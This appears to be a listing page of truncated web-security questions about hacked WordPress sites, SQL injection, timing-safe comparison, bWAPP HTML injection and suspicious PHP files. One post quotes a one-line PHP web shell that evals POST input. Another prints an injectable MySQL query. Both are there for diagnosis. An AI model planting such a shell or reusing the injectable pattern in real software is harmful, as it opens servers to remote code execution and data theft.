Collaborate Disseminate
Anyone have experience and advice to locate the source and stop an ftp hack on my client’s Wordpress site hosted on BlueHost? The hackers were able to do the following:
Create multiple ftp accounts with usernames like ss-ee… Continue reading Bluehost WordPress Site hacked multiple times FTP MMprobe php file
I’m testing a site and I found a file with critical php code but this does not have extension name, my question is it could be exploited for a shell attack or something like?
I don’t found nothing about this case.
I have th… Continue reading I want know if a file with php code but without extension name could be exploted?
I have been looking at PDO attributes, specifically at resources (some are linked at the end of this post) saying that emulated query preparation is less secure than using real prepared statements, such that you should disabl… Continue reading Is emulated SQL query preparation less secure?
I am working on a webpage which I embedded an external form page into with Iframe. I detected the external form page is configured to redirected to leave a than you message within the iframed external form page but I the func… Continue reading How to make Iframe From Redirect the Parent or Whole Web Page?
This is the query:
$mysqli->query(“UPDATE `users` SET `user_age` = ‘$my_age’, `user_sex` = ‘$my_gender’, `user_description` = ‘$my_description’
, `user_sound` = $my_sound, `country` = ‘$my_country’, `region` =… Continue reading Why exactly is this MySQL query vulnerable to SQL injections?
In one of my webserver, I found some new folders got created and many files are there, In access log I found many files access from that folder.
Sample file:
After this strings:
But it I copy paste this string to a not… Continue reading In my webserver I found may PHP with random strings
In Node, you can use crypto.timingSafeEqual() to check if two strings are equal in a timing-attack safe way. But, they must have the same length, so you have to do something like that:
return stringOne.length === stringTwo.l… Continue reading Timing attack – Is safe to check if strings have the same length?
This is the code handling the high security level part
function xss_check_3($data, $encoding = “UTF-8”)
{
// htmlspecialchars – converts special characters to HTML entities
// ‘&’ (ampersand) becomes ‘&a… Continue reading HTML Injection in bWAPP High security Level
I have been given a task to secure a website which will be done by my group mates, but I have no clue. Could someone give my ideas? and how I am going to protect? what code can I use to secure login page?
Continue reading Securing a website for my school project [closed]
I came across a web sever running PHP, our anti-virus flagged a file “C:\Windows\Temp\php411.tmp” and the content of that file is below
9384622<?php @eval($_POST[“keyw”]);?>
The server doesn’t accept uploading of fil… Continue reading Malicious PHP file in c:\Windows\Temp [on hold]